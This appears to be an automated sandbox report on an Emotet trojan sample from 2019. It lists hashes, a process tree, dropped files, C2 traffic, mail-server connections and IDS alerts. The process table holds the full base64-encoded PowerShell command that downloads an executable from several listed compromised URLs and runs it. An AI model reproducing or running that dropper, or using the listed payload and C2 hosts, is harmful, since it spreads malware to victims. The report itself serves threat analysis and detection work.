File name: | sample.zip |
Full analysis: | https://app.any.run/tasks/736a2d07-f902-488a-ba32-d8c8636e523a |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | October 14, 2019, 20:54:54 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 7020B01F055CD28623CAB46BEF107E86 |
SHA1: | 8DE1989DA9C77C0631131E459066030CD0F88C68 |
SHA256: | 32D610A34E7CA31FA12A89EA5DBADC01B37073916C310EFD9AE6A49D3D82F3D4 |
SSDEEP: | 3072:NLttxSwAx1Un5iaTZAUu/De70zPPIVmmt+hU34J8MMwUYA/0gjbd2:xttxA6nkaTZAUu00LIVv3mIwUvrd2 |
.zip | | | ZIP compressed archive (100) |
---|
ZipRequiredVersion: | 788 |
---|---|
ZipBitFlag: | 0x0001 |
ZipCompression: | Deflated |
ZipModifyDate: | 2019:10:14 20:54:19 |
ZipCRC: | 0xa28c80f2 |
ZipCompressedSize: | 171596 |
ZipUncompressedSize: | 293376 |
ZipFileName: | 8ad4219d6ad69b1f42d1be3af394cba0fd2f824c1a99e9e19ff19afb4fc1fbb6.bin |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2492 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\sample.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
1708 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\jhbfdsjfjdsk.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
1944 | powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJAB4AGMAYgAwADAAMAA0ADcANgA5ADAAPQAnAGIAOAAyADAAMQB4ADAAMAA5ADAAMAAnADsAJAB4ADUAeAAzADAAOQA0ADMANABiAGIAYwAgAD0AIAAnADUAMQAxACcAOwAkAGMAOQAwAGIAYwAzADAAMAA4ADQANgA9ACcAeAA3ADAAMwA2ADEANAB4ADkAYgBiADAAJwA7ACQAeABiAHgAYwAzAGIAYgAxADAANgA1ADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHgANQB4ADMAMAA5ADQAMwA0AGIAYgBjACsAJwAuAGUAeABlACcAOwAkAGIANgBjADEANQAwADAAOQAwADgAOAA3ADEAPQAnAGMAMAA1ADMANQAwADIAMAA4ADMAMgA5ACcAOwAkAGMAeAAwADQANQBjADAAMAAxADYAYwA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAHQALgB3AEUAQgBDAGwASQBlAE4AVAA7ACQAeAA1AGMAMwAyADAAMgA0ADgANgAwAGIAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAHAAZQBjAHQAcgBhAGQAdQBiAGEAaQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAFMAUABZAGgAbABMAC8AKgBoAHQAdABwADoALwAvAHQAZQBuAGQAZQBuAGMAaQBhAHMAdgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdABiAGoAMwBvADgALQBsAHIAYQB5AGcAMwBuAHcANAA4AC0ANgA3ADUANwA3ADYANgAvACoAaAB0AHQAcAA6AC8ALwBpAG4AcwB0AGkAdAB1AHQAbwBiAGkAbwBkAGUAbAB0AGEALgBjAG8AbQAuAGIAcgAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBrAGcAMwA0AHIAcQB6AGEAcwAtADEAZQBzAHYAZAA5AGEAdgBuAC0ANAA4ADIAMgAvACoAaAB0AHQAcAA6AC8ALwBlAGMAaABvAHgAYwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGQAWgBQAFQAUgBUAG0AUwAvACoAaAB0AHQAcABzADoALwAvAHMAYQBiAGEAbAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZgBRAFoAQQBvAFQAdAAvACcALgAiAFMAYABwAGwAaQB0ACIAKAAnACoAJwApADsAJABiADAAYwB4ADcANgA0ADUAMQB4AHgAMAA2AD0AJwBjADAAeAAwADcAOQAyADgANwA4ADAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIANQAwADUAeAA0ADgAYgAxAHgAMQAyACAAaQBuACAAJAB4ADUAYwAzADIAMAAyADQAOAA2ADAAYgApAHsAdAByAHkAewAkAGMAeAAwADQANQBjADAAMAAxADYAYwAuACIAZABgAG8AVwBOAGwATwBhAGQAYABGAGAASQBMAGUAIgAoACQAYgA1ADAANQB4ADQAOABiADEAeAAxADIALAAgACQAeABiAHgAYwAzAGIAYgAxADAANgA1ADAAKQA7ACQAYgAwADEAYgA5ADkAMgAwADUANwA3ADAAYgA9ACcAYgAyADkAMQA2ADYAMAA0ADIAMAA1ADEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJAB4AGIAeABjADMAYgBiADEAMAA2ADUAMAApAC4AIgBMAGAARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgA2ADcANwA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAEEAUgB0ACIAKAAkAHgAYgB4AGMAMwBiAGIAMQAwADYANQAwACkAOwAkAGIAOAA1ADgAMAAzADAAMAB4ADAANQA0AD0AJwBiADAANgAxADcAMQAyADAAMAA3ADEANgAnADsAYgByAGUAYQBrADsAJAB4ADIANQAwADkAMABjADAANgA0ADYAMwA3AD0AJwBiAHgAYgAwAHgAMAAwADAAeAA5ADAAMgA1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGIANAAwADAAOAA5ADMANgA4ADIAYwA1ADUAPQAnAHgANwAwADEANAA2AGIAOQA0AGIANQAyADUAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2384 | "C:\Users\admin\511.exe" | C:\Users\admin\511.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
4060 | --32595873 | C:\Users\admin\511.exe | 511.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
1820 | "C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe" | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | — | 511.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
388 | --f91b2738 | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | msptermsizes.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
1908 | "C:\Users\admin\AppData\Local\msptermsizes\5EFjEjJYEJ71BtZsn.exe" | C:\Users\admin\AppData\Local\msptermsizes\5EFjEjJYEJ71BtZsn.exe | — | msptermsizes.exe |
User: admin Integrity Level: MEDIUM Description: DirectoryBrowse MFC Application Exit code: 0 Version: 1, 0, 0, 1 | ||||
2284 | --12506a8 | C:\Users\admin\AppData\Local\msptermsizes\5efjejjyej71btzsn.exe | 5EFjEjJYEJ71BtZsn.exe | |
User: admin Integrity Level: MEDIUM Description: DirectoryBrowse MFC Application Exit code: 0 Version: 1, 0, 0, 1 | ||||
2784 | "C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe" | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | — | 5efjejjyej71btzsn.exe |
User: admin Integrity Level: MEDIUM Description: DirectoryBrowse MFC Application Exit code: 0 Version: 1, 0, 0, 1 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2492 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb2492.1973\8ad4219d6ad69b1f42d1be3af394cba0fd2f824c1a99e9e19ff19afb4fc1fbb6.bin | — | |
MD5:— | SHA256:— | |||
1708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR14A7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1944 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0ENH8UNNP7RC950XDZE8.temp | — | |
MD5:— | SHA256:— | |||
1708 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\jhbfdsjfjdsk.doc.LNK | lnk | |
MD5:2DE990520188DC63C788D210F34180D0 | SHA256:F3DD538E0295F1741C6939A36F235C986BBAF23F48FD4BA47307080A07DA5FD3 | |||
1708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:7332BE488B470F82972FE8D6AB421065 | SHA256:4257F3BE769B671E8421C6C80743DC1178AD659D6CAC5BA65FADC9022455DCB0 | |||
1944 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
1708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4D76800C.wmf | wmf | |
MD5:93747E9030AE30EECFBC14A3DF3E8F3D | SHA256:D6C67EAF31D665C3F888589134420F6DA2299638F9BE9E290720BCB7DCC1E1EE | |||
1708 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:3F6B122B7B50E697D999B1FF04AB42BF | SHA256:BE93E10D42895F44D00FF9F75BF3B8F9A86724FFAC5804DD5FFDFAB331B81548 | |||
1708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\85F02818.wmf | wmf | |
MD5:A27E8CAB831D3D5C8E6E902B80243A9B | SHA256:1D9C0ABA20934953961B6864FB210DBFBDCAA1662F72DCC709ACD0AFCFC38A89 | |||
1708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CFF83DFA.wmf | wmf | |
MD5:D3EEFE40CD8E2DA6F7315F91C944A95E | SHA256:C4CD451D873629635FA7D646DC6879FD919FC77255F4011619063DBD273A7398 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2500 | msptermsizes.exe | GET | — | 192.241.241.221:443 | http://192.241.241.221:443/whoami.php | US | — | — | malicious |
2500 | msptermsizes.exe | GET | — | 192.241.241.221:443 | http://192.241.241.221:443/news.php | US | — | — | malicious |
2500 | msptermsizes.exe | GET | 200 | 185.187.198.5:8080 | http://185.187.198.5:8080/whoami.php | RU | text | 15 b | malicious |
2500 | msptermsizes.exe | POST | 200 | 190.117.206.153:443 | http://190.117.206.153:443/arizona/ringin/ | PE | binary | 1.62 Mb | malicious |
1944 | powershell.exe | GET | 200 | 132.148.23.27:80 | http://www.spectradubai.com/cgi-bin/SPYhlL/ | US | executable | 260 Kb | suspicious |
388 | msptermsizes.exe | POST | 200 | 190.117.206.153:443 | http://190.117.206.153:443/pdf/results/add/merge/ | PE | binary | 291 Kb | malicious |
2500 | msptermsizes.exe | POST | 200 | 190.117.206.153:443 | http://190.117.206.153:443/cone/publish/add/merge/ | PE | binary | 148 b | malicious |
2500 | msptermsizes.exe | POST | — | 192.241.241.221:443 | http://192.241.241.221:443/add/publish/add/merge/ | US | — | — | malicious |
2500 | msptermsizes.exe | POST | — | 192.241.241.221:443 | http://192.241.241.221:443/free/ | US | — | — | malicious |
2500 | msptermsizes.exe | POST | 200 | 185.187.198.5:8080 | http://185.187.198.5:8080/sym/chunk/add/ | RU | binary | 2.98 Mb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
388 | msptermsizes.exe | 190.117.206.153:443 | — | America Movil Peru S.A.C. | PE | malicious |
2500 | msptermsizes.exe | 190.117.206.153:443 | — | America Movil Peru S.A.C. | PE | malicious |
2500 | msptermsizes.exe | 192.241.241.221:443 | — | Digital Ocean, Inc. | US | malicious |
2500 | msptermsizes.exe | 185.187.198.5:8080 | — | Pravoved LLC | RU | malicious |
1944 | powershell.exe | 132.148.23.27:80 | www.spectradubai.com | GoDaddy.com, LLC | US | suspicious |
2500 | msptermsizes.exe | 188.125.73.26:587 | smtp.mail.yahoo.com | — | CH | unknown |
2500 | msptermsizes.exe | 196.25.211.150:465 | pop3.telkomsa.net | Telkom-Internet | ZA | unknown |
2500 | msptermsizes.exe | 41.185.29.128:8080 | — | webafrica | ZA | malicious |
2500 | msptermsizes.exe | 40.101.137.18:587 | smtp.live.com | Microsoft Corporation | FR | unknown |
2500 | msptermsizes.exe | 46.17.236.174:465 | mail.moonlight.co.zw | Liquid Telecommunications Ltd | GB | unknown |
Domain | IP | Reputation |
---|---|---|
www.spectradubai.com |
| suspicious |
mail.moonlight.co.zw |
| unknown |
meliormadrid.es |
| unknown |
mail.scorefix.co.za |
| unknown |
baratheon.aserv.co.za |
| unknown |
pop3.telkomsa.net |
| unknown |
mail.avocatcateringequipment.co.za |
| unknown |
mail.gmail.com |
| suspicious |
mail.tanerdokum.com.tr |
| malicious |
mail.dapda.com |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
1944 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1944 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1944 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
388 | msptermsizes.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 11 |
388 | msptermsizes.exe | A Network Trojan was detected | AV TROJAN W32/Emotet CnC Checkin (Apr 2019) |
388 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
388 | msptermsizes.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
2500 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
2500 | msptermsizes.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
2500 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |